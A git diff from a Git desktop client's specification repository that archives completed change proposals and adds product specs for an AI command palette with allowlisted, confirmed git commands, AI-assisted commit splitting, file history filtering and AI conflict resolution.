openspec/changes/archive/2026-10-01-add-blame-and-file-history/proposal.md diff --git a/openspec/changes/add-blame-and-file-history/specs/blame/spec.md b/openspec/changes/archive/2026-10-01-add-blame-and-file-history/specs/blame/spec.md similarity index 100% rename from openspec/changes/add-blame-and-file-history/specs/blame/spec.md rename to openspec/changes/archive/2026-10-01-add-blame-and-file-history/specs/blame/spec.md diff --git a/openspec/changes/add-blame-and-file-history/specs/history/spec.md b/openspec/changes/archive/2026-10-01-add-blame-and-file-history/specs/history/spec.md similarity index 100% rename from openspec/changes/add-blame-and-file-history/specs/history/spec.md rename to openspec/changes/archive/2026-10-01-add-blame-and-file-history/specs/history/spec.md diff --git a/openspec/changes/add-blame-and-file-history/tasks.md b/openspec/changes/archive/2026-10-01-add-blame-and-file-history/tasks.md similarity index 100% rename from openspec/changes/add-blame-and-file-history/tasks.md rename to openspec/changes/archive/2026-10-01-add-blame-and-file-history/tasks.md diff --git a/openspec/changes/add-commit-signing/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-commit-signing/.openspec.yaml similarity index 100% rename from openspec/changes/add-commit-signing/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-commit-signing/.openspec.yaml diff --git a/openspec/changes/add-commit-signing/design.md b/openspec/changes/archive/2026-10-01-add-commit-signing/design.md similarity index 100% rename from openspec/changes/add-commit-signing/design.md rename to openspec/changes/archive/2026-10-01-add-commit-signing/design.md diff --git a/openspec/changes/add-commit-signing/proposal.md b/openspec/changes/archive/2026-10-01-add-commit-signing/proposal.md similarity index 100% rename from openspec/changes/add-commit-signing/proposal.md rename to openspec/changes/archive/2026-10-01-add-commit-signing/proposal.md diff --git a/openspec/changes/add-commit-signing/specs/commit-signing/spec.md b/openspec/changes/archive/2026-10-01-add-commit-signing/specs/commit-signing/spec.md similarity index 100% rename from openspec/changes/add-commit-signing/specs/commit-signing/spec.md rename to openspec/changes/archive/2026-10-01-add-commit-signing/specs/commit-signing/spec.md diff --git a/openspec/changes/add-commit-signing/tasks.md b/openspec/changes/archive/2026-10-01-add-commit-signing/tasks.md similarity index 100% rename from openspec/changes/add-commit-signing/tasks.md rename to openspec/changes/archive/2026-10-01-add-commit-signing/tasks.md diff --git a/openspec/changes/add-history-content-search/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-history-content-search/.openspec.yaml similarity index 100% rename from openspec/changes/add-history-content-search/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-history-content-search/.openspec.yaml diff --git a/openspec/changes/add-history-content-search/design.md b/openspec/changes/archive/2026-10-01-add-history-content-search/design.md similarity index 100% rename from openspec/changes/add-history-content-search/design.md rename to openspec/changes/archive/2026-10-01-add-history-content-search/design.md diff --git a/openspec/changes/add-history-content-search/proposal.md b/openspec/changes/archive/2026-10-01-add-history-content-search/proposal.md similarity index 100% rename from openspec/changes/add-history-content-search/proposal.md rename to openspec/changes/archive/2026-10-01-add-history-content-search/proposal.md diff --git a/openspec/changes/add-history-content-search/specs/history/spec.md b/openspec/changes/archive/2026-10-01-add-history-content-search/specs/history/spec.md similarity index 84% rename from openspec/changes/add-history-content-search/specs/history/spec.md rename to openspec/changes/archive/2026-10-01-add-history-content-search/specs/history/spec.md index e3de75a..d0b1304 100644 --- a/openspec/changes/add-history-content-search/specs/history/spec.md +++ b/openspec/changes/archive/2026-10-01-add-history-content-search/specs/history/spec.md @@ -3,7 +3,7 @@ ## MODIFIED Requirements ### Requirement: Commit list is paged and searchable -The History tab SHALL show the commits reachable from the current branch, newest first, loading further pages on demand. A search box SHALL filter the list by commit message, author name or email, or a full or abbreviated SHA of at least 7 hexadecimal characters, matching case-insensitively. The search box SHALL also accept prefixed filters that MAY be combined with free text: `content:` (commits whose diff added or removed the text), `regex:` (commits whose diff matches the regular expression), `path:`, `author:`, `after:`, `before:` and `all:` (search every branch, tag and remote). Values containing spaces SHALL be quoted, with escaped quotes supported. A filter popover SHALL offer the same filters as form controls and SHALL stay in sync with the text in both directions. While any filter is active the header SHALL show the number of matching commits and a Clear control, and when `all:` is on each row SHALL show the refs that contain it. Changing the query SHALL cancel the search in progress. An invalid regular expression SHALL be reported inline without running the search or leaving the list loading. +The History tab SHALL show the commits reachable from the current branch, newest first, loading further pages on demand. A search box SHALL filter the list by commit message, author name or email, or a full or abbreviated SHA of at least 7 hexadecimal characters, matching case-insensitively. The search box SHALL also accept prefixed filters that MAY be combined with free text: `content:` (commits whose diff added or removed the text), `regex:` (commits whose diff matches the regular expression), `path:`, `author:`, `after:`, `before:` and `all:` (search every branch, tag and remote). Values containing spaces SHALL be quoted, with escaped quotes supported. A filter popover SHALL offer the same filters as form controls and SHALL stay in sync with the text in both directions. While any filter is active the header SHALL show the number of matching commits and a Clear control, and when `all:` is on each row SHALL show the refs that contain it. Changing the query SHALL cancel the search in progress. An invalid regular expression SHALL be reported inline without running the search or leaving the list loading. When a file history is active, the header SHALL show the file path with a control to clear it, the commit list SHALL contain only commits that touched that file, following renames, and the search box SHALL combine with the path filter. #### Scenario: Paging - **WHEN** the user scrolls to the end of the loaded commits and more commits exist @@ -21,6 +21,14 @@ The History tab SHALL show the commits reachable from the current branch, newest - **WHEN** a `path:` filter is active - **THEN** only commits touching that pathspec are listed +#### Scenario: File history filter +- **WHEN** a file history is active for a path +- **THEN** only commits touching that path, including under its earlier names, are listed and the header shows the path with a clear control + +#### Scenario: Clear file history +- **WHEN** the user clears the path chip +- **THEN** the full branch history returns and the search text is preserved + #### Scenario: Content search - **WHEN** the user types `content:needle` in a repository where one commit added `needle`, one changed a line containing it and one removed it - **THEN** the list contains the adding and removing commits only @@ -54,7 +62,7 @@ The History tab SHALL show the commits reachable from the current branch, newest - **THEN** a hint suggests narrowing with a `path:` filter and the search remains cancellable ### Requirement: Commit details with per-file stats -Selecting a commit SHALL show its metadata (summary, description, author, date, SHA) and the list of changed files with additions and deletions, and selecting a file SHALL show that file's diff for the commit. When a content or regex search is active, the file list SHALL contain only files whose diff matches the search, and the diff pane SHALL scroll to and highlight the first matching line. +Selecting a commit SHALL show its metadata (summary, description, author, date, SHA) and the list of changed files with additions and deletions, and selecting a file SHALL show that file's diff for the commit. When a content or regex search is active, the file list SHALL contain only files whose diff matches the search, and the diff pane SHALL scroll to and highlight the first matching line. When a file history is active, the tracked file's diff SHALL be shown first for the selected commit. #### Scenario: Select a commit - **WHEN** the user selects one commit @@ -64,6 +72,10 @@ Selecting a commit SHALL show its metadata (summary, description, author, date, - **WHEN** a changed file is binary - **THEN** its change counts are omitted and the diff pane shows the binary summary +#### Scenario: Select a commit in file history +- **WHEN** a file history is active and the user selects a commit +- **THEN** the diff shown first is that file's diff in the commit, under the name it had at that commit + #### Scenario: Select a result of a content search - **WHEN** a `content:` search is active and the user selects a matching commit - **THEN** only files whose diff contains the text are listed and the first matching line is highlighted in the diff diff --git a/openspec/changes/add-history-content-search/tasks.md b/openspec/changes/archive/2026-10-01-add-history-content-search/tasks.md similarity index 100% rename from openspec/changes/add-history-content-search/tasks.md rename to openspec/changes/archive/2026-10-01-add-history-content-search/tasks.md diff --git a/openspec/changes/add-issues-panel/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-issues-panel/.openspec.yaml similarity index 100% rename from openspec/changes/add-issues-panel/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-issues-panel/.openspec.yaml diff --git a/openspec/changes/add-issues-panel/design.md b/openspec/changes/archive/2026-10-01-add-issues-panel/design.md similarity index 100% rename from openspec/changes/add-issues-panel/design.md rename to openspec/changes/archive/2026-10-01-add-issues-panel/design.md diff --git a/openspec/changes/add-issues-panel/proposal.md b/openspec/changes/archive/2026-10-01-add-issues-panel/proposal.md similarity index 100% rename from openspec/changes/add-issues-panel/proposal.md rename to openspec/changes/archive/2026-10-01-add-issues-panel/proposal.md diff --git a/openspec/changes/add-issues-panel/specs/issues/spec.md b/openspec/changes/archive/2026-10-01-add-issues-panel/specs/issues/spec.md similarity index 100% rename from openspec/changes/add-issues-panel/specs/issues/spec.md rename to openspec/changes/archive/2026-10-01-add-issues-panel/specs/issues/spec.md diff --git a/openspec/changes/add-issues-panel/tasks.md b/openspec/changes/archive/2026-10-01-add-issues-panel/tasks.md similarity index 100% rename from openspec/changes/add-issues-panel/tasks.md rename to openspec/changes/archive/2026-10-01-add-issues-panel/tasks.md diff --git a/openspec/changes/add-main-process-tests/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-main-process-tests/.openspec.yaml similarity index 100% rename from openspec/changes/add-main-process-tests/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-main-process-tests/.openspec.yaml diff --git a/openspec/changes/add-main-process-tests/design.md b/openspec/changes/archive/2026-10-01-add-main-process-tests/design.md similarity index 100% rename from openspec/changes/add-main-process-tests/design.md rename to openspec/changes/archive/2026-10-01-add-main-process-tests/design.md diff --git a/openspec/changes/add-main-process-tests/proposal.md b/openspec/changes/archive/2026-10-01-add-main-process-tests/proposal.md similarity index 100% rename from openspec/changes/add-main-process-tests/proposal.md rename to openspec/changes/archive/2026-10-01-add-main-process-tests/proposal.md diff --git a/openspec/changes/add-main-process-tests/tasks.md b/openspec/changes/archive/2026-10-01-add-main-process-tests/tasks.md similarity index 91% rename from openspec/changes/add-main-process-tests/tasks.md rename to openspec/changes/archive/2026-10-01-add-main-process-tests/tasks.md index 87e1097..4b70ec2 100644 --- a/openspec/changes/add-main-process-tests/tasks.md +++ b/openspec/changes/archive/2026-10-01-add-main-process-tests/tasks.md @@ -22,7 +22,8 @@ ## 4. Smoke suite and CI - [x] 4.1 Add `scripts/smoke.mjs` and scenarios for first-launch Welcome, open fixture repo, stage and commit, switch branch, History selection, Conflicts dialog on a conflicted fixture, AI resolve with the stub; verify `npm run test:smoke` passes locally with screenshots and dumps under `test/smoke/out/` -- [ ] 4.2 Add `.github/workflows/test.yml` with a Linux and Windows matrix running unit, fixture and smoke (`xvfb-run -a` on Linux), uploading screenshots and logs on failure; verify a green run on both +- [x] 4.2 Add `.github/workflows/test.yml` with a Linux and Windows matrix running unit, fixture and smoke (`xvfb-run -a` on Linux), uploading screenshots and logs on failure; verify a green run on both + - 2026-10-01: Linux, Windows and macOS unit, fixture and smoke suites passed on integrated commit e47eb3e: https://github.com/erwin-wee/gitgood/actions/runs/36881867983. - [x] 4.3 Add an isolation test that points `HOME` at a temp dir and asserts nothing outside temp directories was written; verify it passes ## 5. Verification diff --git a/openspec/changes/add-notifications-inbox/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-notifications-inbox/.openspec.yaml similarity index 100% rename from openspec/changes/add-notifications-inbox/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-notifications-inbox/.openspec.yaml diff --git a/openspec/changes/add-notifications-inbox/design.md b/openspec/changes/archive/2026-10-01-add-notifications-inbox/design.md similarity index 100% rename from openspec/changes/add-notifications-inbox/design.md rename to openspec/changes/archive/2026-10-01-add-notifications-inbox/design.md diff --git a/openspec/changes/add-notifications-inbox/proposal.md b/openspec/changes/archive/2026-10-01-add-notifications-inbox/proposal.md similarity index 100% rename from openspec/changes/add-notifications-inbox/proposal.md rename to openspec/changes/archive/2026-10-01-add-notifications-inbox/proposal.md diff --git a/openspec/changes/add-notifications-inbox/specs/notifications-inbox/spec.md b/openspec/changes/archive/2026-10-01-add-notifications-inbox/specs/notifications-inbox/spec.md similarity index 100% rename from openspec/changes/add-notifications-inbox/specs/notifications-inbox/spec.md rename to openspec/changes/archive/2026-10-01-add-notifications-inbox/specs/notifications-inbox/spec.md diff --git a/openspec/changes/add-notifications-inbox/tasks.md b/openspec/changes/archive/2026-10-01-add-notifications-inbox/tasks.md similarity index 100% rename from openspec/changes/add-notifications-inbox/tasks.md rename to openspec/changes/archive/2026-10-01-add-notifications-inbox/tasks.md diff --git a/openspec/changes/add-repo-health/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-repo-health/.openspec.yaml similarity index 100% rename from openspec/changes/add-repo-health/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-repo-health/.openspec.yaml diff --git a/openspec/changes/add-repo-health/design.md b/openspec/changes/archive/2026-10-01-add-repo-health/design.md similarity index 100% rename from openspec/changes/add-repo-health/design.md rename to openspec/changes/archive/2026-10-01-add-repo-health/design.md diff --git a/openspec/changes/add-repo-health/proposal.md b/openspec/changes/archive/2026-10-01-add-repo-health/proposal.md similarity index 100% rename from openspec/changes/add-repo-health/proposal.md rename to openspec/changes/archive/2026-10-01-add-repo-health/proposal.md diff --git a/openspec/changes/add-repo-health/specs/repo-health/spec.md b/openspec/changes/archive/2026-10-01-add-repo-health/specs/repo-health/spec.md similarity index 100% rename from openspec/changes/add-repo-health/specs/repo-health/spec.md rename to openspec/changes/archive/2026-10-01-add-repo-health/specs/repo-health/spec.md diff --git a/openspec/changes/add-repo-health/tasks.md b/openspec/changes/archive/2026-10-01-add-repo-health/tasks.md similarity index 100% rename from openspec/changes/add-repo-health/tasks.md rename to openspec/changes/archive/2026-10-01-add-repo-health/tasks.md diff --git a/openspec/changes/add-stash-manager/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-stash-manager/.openspec.yaml similarity index 100% rename from openspec/changes/add-stash-manager/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-stash-manager/.openspec.yaml diff --git a/openspec/changes/add-stash-manager/design.md b/openspec/changes/archive/2026-10-01-add-stash-manager/design.md similarity index 100% rename from openspec/changes/add-stash-manager/design.md rename to openspec/changes/archive/2026-10-01-add-stash-manager/design.md diff --git a/openspec/changes/add-stash-manager/proposal.md b/openspec/changes/archive/2026-10-01-add-stash-manager/proposal.md similarity index 100% rename from openspec/changes/add-stash-manager/proposal.md rename to openspec/changes/archive/2026-10-01-add-stash-manager/proposal.md diff --git a/openspec/changes/add-stash-manager/specs/stash/spec.md b/openspec/changes/archive/2026-10-01-add-stash-manager/specs/stash/spec.md similarity index 100% rename from openspec/changes/add-stash-manager/specs/stash/spec.md rename to openspec/changes/archive/2026-10-01-add-stash-manager/specs/stash/spec.md diff --git a/openspec/changes/add-stash-manager/tasks.md b/openspec/changes/archive/2026-10-01-add-stash-manager/tasks.md similarity index 100% rename from openspec/changes/add-stash-manager/tasks.md rename to openspec/changes/archive/2026-10-01-add-stash-manager/tasks.md diff --git a/openspec/changes/add-submodules-and-lfs/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-submodules-and-lfs/.openspec.yaml similarity index 100% rename from openspec/changes/add-submodules-and-lfs/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-submodules-and-lfs/.openspec.yaml diff --git a/openspec/changes/add-submodules-and-lfs/design.md b/openspec/changes/archive/2026-10-01-add-submodules-and-lfs/design.md similarity index 100% rename from openspec/changes/add-submodules-and-lfs/design.md rename to openspec/changes/archive/2026-10-01-add-submodules-and-lfs/design.md diff --git a/openspec/changes/add-submodules-and-lfs/proposal.md b/openspec/changes/archive/2026-10-01-add-submodules-and-lfs/proposal.md similarity index 100% rename from openspec/changes/add-submodules-and-lfs/proposal.md rename to openspec/changes/archive/2026-10-01-add-submodules-and-lfs/proposal.md diff --git a/openspec/changes/add-submodules-and-lfs/specs/lfs/spec.md b/openspec/changes/archive/2026-10-01-add-submodules-and-lfs/specs/lfs/spec.md similarity index 100% rename from openspec/changes/add-submodules-and-lfs/specs/lfs/spec.md rename to openspec/changes/archive/2026-10-01-add-submodules-and-lfs/specs/lfs/spec.md diff --git a/openspec/changes/add-submodules-and-lfs/specs/submodules/spec.md b/openspec/changes/archive/2026-10-01-add-submodules-and-lfs/specs/submodules/spec.md similarity index 100% rename from openspec/changes/add-submodules-and-lfs/specs/submodules/spec.md rename to openspec/changes/archive/2026-10-01-add-submodules-and-lfs/specs/submodules/spec.md diff --git a/openspec/changes/add-submodules-and-lfs/tasks.md b/openspec/changes/archive/2026-10-01-add-submodules-and-lfs/tasks.md similarity index 100% rename from openspec/changes/add-submodules-and-lfs/tasks.md rename to openspec/changes/archive/2026-10-01-add-submodules-and-lfs/tasks.md diff --git a/openspec/changes/add-worktrees/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-worktrees/.openspec.yaml similarity index 100% rename from openspec/changes/add-worktrees/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-worktrees/.openspec.yaml diff --git a/openspec/changes/add-worktrees/design.md b/openspec/changes/archive/2026-10-01-add-worktrees/design.md similarity index 100% rename from openspec/changes/add-worktrees/design.md rename to openspec/changes/archive/2026-10-01-add-worktrees/design.md diff --git a/openspec/changes/add-worktrees/proposal.md b/openspec/changes/archive/2026-10-01-add-worktrees/proposal.md similarity index 100% rename from openspec/changes/add-worktrees/proposal.md rename to openspec/changes/archive/2026-10-01-add-worktrees/proposal.md diff --git a/openspec/changes/add-worktrees/specs/worktrees/spec.md b/openspec/changes/archive/2026-10-01-add-worktrees/specs/worktrees/spec.md similarity index 100% rename from openspec/changes/add-worktrees/specs/worktrees/spec.md rename to openspec/changes/archive/2026-10-01-add-worktrees/specs/worktrees/spec.md diff --git a/openspec/changes/add-worktrees/tasks.md b/openspec/changes/archive/2026-10-01-add-worktrees/tasks.md similarity index 100% rename from openspec/changes/add-worktrees/tasks.md rename to openspec/changes/archive/2026-10-01-add-worktrees/tasks.md diff --git a/openspec/changes/upgrade-ai-conflict-resolution/.openspec.yaml b/openspec/changes/archive/2026-10-01-upgrade-ai-conflict-resolution/.openspec.yaml similarity index 100% rename from openspec/changes/upgrade-ai-conflict-resolution/.openspec.yaml rename to openspec/changes/archive/2026-10-01-upgrade-ai-conflict-resolution/.openspec.yaml diff --git a/openspec/changes/upgrade-ai-conflict-resolution/design.md b/openspec/changes/archive/2026-10-01-upgrade-ai-conflict-resolution/design.md similarity index 100% rename from openspec/changes/upgrade-ai-conflict-resolution/design.md rename to openspec/changes/archive/2026-10-01-upgrade-ai-conflict-resolution/design.md diff --git a/openspec/changes/upgrade-ai-conflict-resolution/proposal.md b/openspec/changes/archive/2026-10-01-upgrade-ai-conflict-resolution/proposal.md similarity index 100% rename from openspec/changes/upgrade-ai-conflict-resolution/proposal.md rename to openspec/changes/archive/2026-10-01-upgrade-ai-conflict-resolution/proposal.md diff --git a/openspec/changes/upgrade-ai-conflict-resolution/specs/ai-conflict-resolution/spec.md b/openspec/changes/archive/2026-10-01-upgrade-ai-conflict-resolution/specs/ai-conflict-resolution/spec.md similarity index 100% rename from openspec/changes/upgrade-ai-conflict-resolution/specs/ai-conflict-resolution/spec.md rename to openspec/changes/archive/2026-10-01-upgrade-ai-conflict-resolution/specs/ai-conflict-resolution/spec.md diff --git a/openspec/changes/upgrade-ai-conflict-resolution/tasks.md b/openspec/changes/archive/2026-10-01-upgrade-ai-conflict-resolution/tasks.md similarity index 100% rename from openspec/changes/upgrade-ai-conflict-resolution/tasks.md rename to openspec/changes/archive/2026-10-01-upgrade-ai-conflict-resolution/tasks.md diff --git a/openspec/specs/ai-command-palette/spec.md b/openspec/specs/ai-command-palette/spec.md new file mode 100644 index 0000000..f2fb0dc --- /dev/null +++ b/openspec/specs/ai-command-palette/spec.md @@ -0,0 +1,102 @@ +# ai-command-palette Specification + +## Purpose +Lets the user describe a git task in plain language and get back an exact, previewed plan of git commands that GitGood runs only after confirmation and only within a strict allowlist. + +## Requirements + +### Requirement: Palette opens with built-in actions and optional AI +A command palette SHALL open with `Ctrl+K` or Repository → Ask GitGood…, over the current repository. It SHALL first fuzzy-match built-in actions (push, pull, new branch, and the other menu actions) without any AI call. An **Ask AI** row SHALL send the text to the model when the user selects it or when no built-in action matches well. The Ask AI row SHALL be absent when the AI provider is `disabled` or the palette AI setting is off; built-in matching SHALL still work. + +#### Scenario: Built-in match +- **WHEN** the user types "push" +- **THEN** the Push action is listed and can be run without contacting the model + +#### Scenario: Provider disabled +- **WHEN** the AI provider is `disabled` +- **THEN** the palette shows built-in actions only and no Ask AI row + +#### Scenario: Cancel while asking +- **WHEN** the user presses Escape while a plan request is in flight +- **THEN** the request is cancelled and the palette returns to its input state + +### Requirement: Plans are made of exact git commands with explanations and risk +A plan SHALL consist of at most 8 numbered steps, each showing the exact git command, a one-line explanation and a risk classification of safe, changes history, discards work or touches remote. Steps that GitGood will not execute SHALL be shown greyed with the reason and a copy action. The request context sent to the model SHALL be limited to repository metadata (branch state, branch names, last 30 commits, stash messages, remote names, tags) and SHALL NOT include file contents. + +#### Scenario: Plan rendered +- **WHEN** the model returns two executable steps +- **THEN** the palette shows both commands in monospace with explanations and risk chips + +#### Scenario: Too many steps +- **WHEN** the model returns more than 8 steps +- **THEN** the plan is rejected with a message asking the user to split the request + +### Requirement: Executability is decided by an allowlist policy, not by the model +Every step SHALL be matched against an allowlist of git command shapes covering inspect, branch, commit, stash, sync, integrate, discard and tag families. A step that does not match, that contains any shell metacharacter, that is on the denylist (force push without lease, history-rewriting maintenance commands, global config, remote URL changes, submodule or worktree writes, clean with `-x`, any non-git command, pipes, redirects, chaining or environment assignments), or that references a ref that does not exist SHALL be marked non-executable with a reason. A leading `git` token SHALL be stripped. Discard steps SHALL name paths inside the repository that exist in the current status. + +#### Scenario: Denylisted command +- **WHEN** a step is `push --force` +- **THEN** it is shown copy-only with the reason that force pushes without lease are not run by GitGood + +#### Scenario: Shell operator +- **WHEN** a step contains `&&` or `|` +- **THEN** the step is non-executable and the reason names the shell operator + +#### Scenario: Unknown reference +- **WHEN** a step refers to a branch that does not exist in the repository +- **THEN** the step is non-executable with an unknown reference reason + +#### Scenario: Operation in progress +- **WHEN** a merge or rebase is in progress +- **THEN** only abort, continue, status, diff and log families are executable and other steps are refused with that reason + +### Requirement: Risk is recomputed by policy +The risk shown for a step SHALL be the higher of the model's classification and the policy's own classification derived from the command, so a step the model calls safe SHALL still be treated as destructive when the command is. + +#### Scenario: Model understates risk +- **WHEN** the model labels `reset --hard HEAD~1` as safe +- **THEN** the step is shown and treated as discards work + +### Requirement: Previews show the effect before confirmation +For steps with a known preview, GitGood SHALL run a read-only command and show the affected items before the user runs the plan: commits that a reset or rebase would rewrite, files a restore or clean would discard, whether a branch to delete is merged, and ahead/behind counts for a force push with lease. + +#### Scenario: Reset preview +- **WHEN** the plan contains `reset --soft HEAD~2` +- **THEN** the preview lists the two commits that will be uncommitted + +#### Scenario: Discard preview +- **WHEN** the plan contains `restore src/` +- **THEN** the preview lists the changed files under that path from the current status + +### Requirement: Execution requires confirmation and honours existing safeguards +No step SHALL run before the user clicks **Run plan**. Steps SHALL run sequentially through GitGood's existing operations; steps that change history or discard work SHALL open the existing confirmation dialogs (including the force-push and discard dialogs and Recycle Bin behaviour), and cancelling a dialog SHALL stop the plan. A failing step SHALL stop the plan and the completed steps SHALL be listed. Every executed step SHALL be written to the application log with its arguments and exit code. Denylisted steps SHALL never run. + +#### Scenario: Destructive step confirmed +- **WHEN** a plan reaches a `reset --hard` step +- **THEN** the existing confirmation dialog opens and nothing happens until the user confirms + +#### Scenario: Confirmation cancelled +- **WHEN** the user cancels the confirmation for step 2 of 3 +- **THEN** step 2 and 3 do not run and step 1 is listed as completed + +#### Scenario: Audit log +- **WHEN** any step is executed +- **THEN** the log contains the step's arguments and exit code + +### Requirement: Ambiguous requests produce a clarifying question +When the request is ambiguous, the model MAY return a single clarifying question. When a question is present, any steps returned alongside it SHALL be discarded and only the question shown; the user's answer SHALL be sent with the original request for one further round. + +#### Scenario: Which commit +- **WHEN** the user asks to "branch from the logging commit" and several commits mention logging +- **THEN** the palette shows a question listing the candidates and no steps + +#### Scenario: Answer round +- **WHEN** the user answers the question +- **THEN** a plan is requested with the original text, the question and the answer, and no further question is accepted + +### Requirement: Palette keeps a session history +The palette SHALL keep the last 20 plans and results in memory for the session with a **Copy commands** action, and SHALL discard them when the app exits. + +#### Scenario: History entry +- **WHEN** a plan has run +- **THEN** it appears in the palette history with its commands and outcome and can be copied diff --git a/openspec/specs/ai-commit-splitting/spec.md b/openspec/specs/ai-commit-splitting/spec.md new file mode 100644 index 0000000..6707bea --- /dev/null +++ b/openspec/specs/ai-commit-splitting/spec.md @@ -0,0 +1,91 @@ +# ai-commit-splitting Specification + +## Purpose +Turns one mixed working tree into a series of coherent commits by letting AI propose a hunk-level grouping that the user edits and approves before anything is committed. + +## Requirements + +### Requirement: Entry point and preconditions +The Changes tab commit form and the Repository menu SHALL offer **Split into commits with AI**. It SHALL be hidden when the AI provider is disabled, not actionable with a tooltip when fewer than two hunks are included, and not offered while a merge is in progress or when Amend is checked. + +#### Scenario: Enough hunks +- **WHEN** the provider is enabled and at least two hunks are included +- **THEN** the action is actionable in the commit form overflow menu and the Repository menu + +#### Scenario: Single hunk +- **WHEN** only one hunk is included +- **THEN** the action is visible but not actionable and the tooltip explains at least two hunks are needed + +#### Scenario: Merge in progress +- **WHEN** a merge is in progress +- **THEN** the action is not offered + +### Requirement: Pre-flight and proposal +Before calling the model the system SHALL show the number of files and hunks, the items that cannot be split (binary, image, submodule, conflicted, renamed, deleted and mode-changed files are whole-file only or excluded) and a size estimate, with Propose and Cancel. The proposal SHALL be cancellable and SHALL show progress. When the diff exceeds 150,000 bytes the pre-flight SHALL offer a file-only split that sends hunk headers and stats without bodies. + +#### Scenario: Pre-flight shown +- **WHEN** the user activates the action +- **THEN** a card lists files, hunks, excluded items and the size estimate before any AI call + +#### Scenario: Oversized diff +- **WHEN** the included diff exceeds 150,000 bytes +- **THEN** the pre-flight offers to split by file only + +### Requirement: Plan integrity +Every included hunk MUST appear in exactly one proposed commit or in a Not included bucket. Unknown hunk identifiers and paths SHALL be dropped with a warning; a hunk assigned to several commits SHALL stay in the first; a whole-file assignment that overlaps hunk assignments SHALL be converted to its hunk identifiers. New (untracked), renamed, deleted and mode-changed files SHALL only be assigned whole. An empty proposed summary SHALL receive a placeholder and a warning, and Apply SHALL stay disabled until the user edits it. A proposal yielding zero or one commit SHALL be reported as already coherent and offer the normal commit flow. + +#### Scenario: Duplicate assignment +- **WHEN** the model assigns the same hunk to two commits +- **THEN** the hunk stays in the first commit and a warning badge is shown + +#### Scenario: Unassigned hunk +- **WHEN** the model leaves a hunk out of every commit +- **THEN** the hunk appears in the Not included bucket and is never committed silently + +#### Scenario: Untracked file +- **WHEN** an untracked file is included +- **THEN** it can only be placed whole in one commit + +#### Scenario: Already coherent +- **WHEN** the proposal contains one commit holding everything +- **THEN** the dialog says the change is already coherent and offers the normal commit flow + +### Requirement: Editable plan +The plan dialog SHALL show ordered commit cards with summary, description, rationale and hunks, and a diff preview for the selected hunk. The user SHALL be able to drag hunks between commits and to Not included, reorder commits, merge two commits, edit messages and delete a card (its hunks move to Not included). Apply SHALL reflect the edited plan. + +#### Scenario: Move a hunk +- **WHEN** the user drags a hunk from commit 2 to commit 1 and applies +- **THEN** the created commit 1 contains that hunk and commit 2 does not + +#### Scenario: Delete a card +- **WHEN** the user deletes a commit card +- **THEN** its hunks appear in Not included and the remaining commits are renumbered + +### Requirement: Sequential application +Apply SHALL create the commits in plan order using the same partial-patch path as a manual partial commit, showing progress and refreshing status after each commit. Before starting, Apply MUST compare the recorded content hashes of every included file with the current working tree and refuse with a Re-propose offer on any mismatch. If a patch fails to apply, the sequence MUST stop, already-created commits remain, nothing remains staged for the failed commit, and the dialog states which commit failed. Pre-commit hook failures SHALL stop the sequence and show the hook output. + +#### Scenario: Successful apply +- **WHEN** the user applies a two-commit plan +- **THEN** History shows two new commits with the planned messages in order and the working tree contains only Not included hunks + +#### Scenario: Working tree changed +- **WHEN** a file was edited after the plan was proposed and the user clicks Apply +- **THEN** no commit is created and the dialog offers Re-propose + +#### Scenario: Patch fails mid-sequence +- **WHEN** the second of three patches fails to apply +- **THEN** the first commit exists, no content is staged, the remaining hunks are unchanged in the working tree and the dialog names the failed commit + +### Requirement: Undo +After a successful apply, the completion toast SHALL offer **Undo all**, which restores the pre-split HEAD while keeping all changes in the working tree, and SHALL be offered only while the recorded start commit is still HEAD's ancestor and nothing has been pushed since. + +#### Scenario: Undo +- **WHEN** the user clicks Undo all right after applying +- **THEN** HEAD is the recorded start commit and the working tree contains all the split changes unstaged + +### Requirement: No automatic writes +The proposal MUST NOT stage or commit anything; only Apply creates commits, and nothing is ever pushed by this capability. + +#### Scenario: Cancel the plan +- **WHEN** the user closes the plan dialog without applying +- **THEN** the index and working tree are unchanged diff --git a/openspec/specs/ai-conflict-resolution/spec.md b/openspec/specs/ai-conflict-resolution/spec.md index 7f39e10..e03a52c 100644 --- a/openspec/specs/ai-conflict-resolution/spec.md +++ b/openspec/specs/ai-conflict-resolution/spec.md @@ -33,7 +33,7 @@ The user SHALL be able to choose the AI provider (Anthropic API with a stored ke - **THEN** the resolution fails with a not-configured error pointing to Options → AI ### Requirement: Each conflict block receives a structured resolution -For each conflict block GitGood SHALL send the block (ours, theirs and base when diff3 markers are present) with surrounding context, the in-progress operation (merge, rebase, cherry-pick or revert), branch names and recent commit subjects on both sides, and SHALL request a JSON answer containing, per block, the replacement text, a one-sentence rationale and a confidence of high, medium or low. +For each conflict block GitGood SHALL send the block (ours, theirs and base when diff3 markers are present) with surrounding context, the in-progress operation (merge, rebase, cherry-pick or revert), branch names and recent commit subjects on both sides, and SHALL request a JSON answer containing, per block, the replacement text, a one-sentence rationale and a confidence of high, medium or low. When the user has manually resolved other files in the same operation and chose a guided run, the request SHALL also include up to three of those manual resolutions as worked examples, trimmed to their conflict blocks plus 20 lines of context and capped at 12,000 bytes in total. When the run is a retry after a failed post-resolution check, the request SHALL include the failing command and the last 4,000 characters of its output. #### Scenario: diff3 markers - **WHEN** the conflicted file uses diff3 or zdiff3 markers with a base section @@ -43,6 +43,14 @@ For each conflict block GitGood SHALL send the block (ours, theirs and base when - **WHEN** the model answers with one resolution per block - **THEN** every block is replaced by its resolution and the rationale and confidence are kept for display +#### Scenario: Guided run includes examples +- **WHEN** the user chooses Resolve remaining like a manually resolved file +- **THEN** the request for each remaining file 